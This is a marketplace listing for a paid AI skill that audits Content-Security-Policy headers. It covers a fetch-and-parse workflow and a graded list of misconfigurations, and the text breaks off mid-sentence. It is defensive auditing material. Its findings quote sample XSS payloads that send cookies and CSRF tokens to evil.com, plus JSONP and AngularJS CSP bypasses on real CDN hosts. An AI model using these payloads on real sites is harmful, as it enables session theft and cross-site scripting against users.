Claude
Skills
Sign in
Back

content-security-policy

Included with Lifetime
$97 forever

Analyze Content-Security-Policy headers for misconfigurations and bypass risks. Use when reviewing CSP from raw strings, URLs, or domains.

Securitysecuritycspheadersweb-securityxss-prevention

What this skill does


# Content-Security-Policy Review

Analyze CSP headers and generate security findings with remediation guidance.

**Target:** $ARGUMENTS (raw CSP string, URL, domain, or file path)

## When to Use This Skill

- Reviewing CSP headers on production websites
- Validating CSP before deployment
- Auditing CSP across multiple pages of a domain
- Investigating XSS bypass potential through CSP weaknesses
- Generating recommended CSP for a new application

## Core Capabilities

| Capability | Description |
|------------|-------------|
| Input Detection | Auto-detect raw CSP, URL, domain, or file path |
| Syntax Validation | Validate directives and source values against CSP Level 3 |
| Security Analysis | Detect unsafe patterns, bypasses, and missing directives |
| Strength Scoring | Deduction-based score (A-F) with justification |
| Remediation | Generate recommended CSP with migration steps |

## Workflow

### Phase 1: Input Detection and CSP Retrieval

Detect input type from $ARGUMENTS and retrieve CSP:

**Raw CSP string** (contains directive keywords like `default-src`, `script-src`):
- Parse directly as CSP string

**URL** (starts with `http://` or `https://`):
```bash
curl -sI -L "$URL" | grep -i "content-security-policy"
```

**Domain** (no scheme, no directives):
```bash
# Fetch CSP from homepage
curl -sI -L "https://$DOMAIN" | grep -i "content-security-policy"

# Spider via sitemap
curl -sL "https://$DOMAIN/sitemap.xml" | grep -oP '<loc>\K[^<]+' | head -20
```
For each discovered page, fetch headers. Cap at 20 pages.

If no sitemap exists, extract links from homepage and check up to 20 unique paths.

**File path** (ends with common extensions or exists on disk):
- Read file content and extract CSP string

**Edge cases to handle:**
- No CSP found → report absence, check for `<meta http-equiv="Content-Security-Policy">`
- `Content-Security-Policy-Report-Only` → note it is non-enforcing
- Multiple CSP headers → analyze each; note that browsers intersect them
- Meta-tag CSP → note limitations (no `frame-ancestors`, no `report-uri`, no `sandbox`)

### Phase 2: Parse and Validate Syntax

Split policy on `;` into directives. For each directive:

1. **Validate directive name** against CSP Level 3:

| Fetch Directives | Document Directives | Navigation Directives | Reporting |
|---|---|---|---|
| `default-src` | `sandbox` | `form-action` | `report-uri` |
| `script-src` | `base-uri` | `frame-ancestors` | `report-to` |
| `script-src-elem` | `plugin-types` | `navigate-to` | |
| `script-src-attr` | | | |
| `style-src` | | | |
| `style-src-elem` | | | |
| `style-src-attr` | | | |
| `img-src` | | | |
| `font-src` | | | |
| `connect-src` | | | |
| `media-src` | | | |
| `object-src` | | | |
| `frame-src` | | | |
| `child-src` | | | |
| `worker-src` | | | |
| `manifest-src` | | | |
| `prefetch-src` | | | |

Other valid directives: `upgrade-insecure-requests`, `block-all-mixed-content`, `require-trusted-types-for`, `trusted-types`

2. **Validate source values:**
   - Keywords (must be single-quoted): `'self'`, `'unsafe-inline'`, `'unsafe-eval'`, `'unsafe-hashes'`, `'strict-dynamic'`, `'report-sample'`, `'none'`, `'wasm-unsafe-eval'`
   - Nonces: `'nonce-<base64>'`
   - Hashes: `'sha256-<base64>'`, `'sha384-<base64>'`, `'sha512-<base64>'`
   - Schemes: `https:`, `http:`, `data:`, `blob:`, `mediastream:`, `filesystem:`
   - Hosts: `example.com`, `*.example.com`, `https://example.com`
   - Wildcards: `*`

3. **Detect syntax errors:**
   - Unquoted keywords (`self` instead of `'self'`, `unsafe-inline` instead of `'unsafe-inline'`)
   - Missing semicolons between directives
   - Duplicate directives (second is ignored)
   - Unknown directive names (typos)
   - Invalid nonce/hash format

### Phase 3: Security Evaluation

#### Anti-Pattern Detection

For each finding, explain **why** the configuration is dangerous and provide an **exploitation example** showing how an attacker abuses it.

**CSP-01** | `unsafe-inline` in script-src | **Critical**
Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.
```html
<!-- Attacker injects via reflected/stored XSS: -->
<script>document.location='https://evil.com/?c='+document.cookie</script>
```

**CSP-02** | `unsafe-eval` in script-src | **High**
Why: Allows string-to-code execution. Attackers use `eval()`, `Function()`, `setTimeout(string)`, or `setInterval(string)` to run injected payloads even without inline script tags.
```javascript
// Attacker exploits an injection point that flows into eval:
eval('fetch("https://evil.com/?d="+document.cookie)')
```

**CSP-03** | Wildcard `*` in script-src | **Critical**
Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.
```html
<script src="https://evil.com/steal.js"></script>
```

**CSP-04** | `data:` in script-src | **Critical**
Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.
```html
<script src="data:text/javascript,alert(document.domain)"></script>
```

**CSP-05** | `blob:` in script-src | **High**
Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.
```javascript
// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):
var b = new Blob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);
```

**CSP-06** | Known bypass endpoint allowlisted | **High**
Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.
```html
<!-- JSONP callback bypass (googleapis.com allowlisted): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

<!-- AngularJS sandbox escape (cdnjs.cloudflare.com allowlisted): -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>
```

**CSP-07** | `http:` scheme in any directive | **Medium**
Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.
```
# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com  →  MITM injects malicious JS in transit
```

**CSP-08** | Overly broad host allowlist | **Medium**
Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.

**CSP-09** | `unsafe-inline` in style-src | **Low**
Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.
```html
<!-- Exfiltrate CSRF token via CSS injection: -->
<style>
input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */
</style>
```

**CSP-10** | `unsafe-hashes` in script-src | **Medium**
Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.

**CSP-11** | Wildcard subdomain `*.example.com` in script-src | **Medium**
Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.
```html
<!-- Attacker compromises legacy.example.com and serves: -->
<script src="https://legacy.example.com/evil.js"></script>
```

**CSP-12** | `object-src` allows plugins | **High**
Why: Permits `<object>` and `<embed>` tags to load plugin content. Attacker embeds a malicious F
Files: 1
Size: 20.0 KB
Complexity: 28/100
Category: Security

Related in Security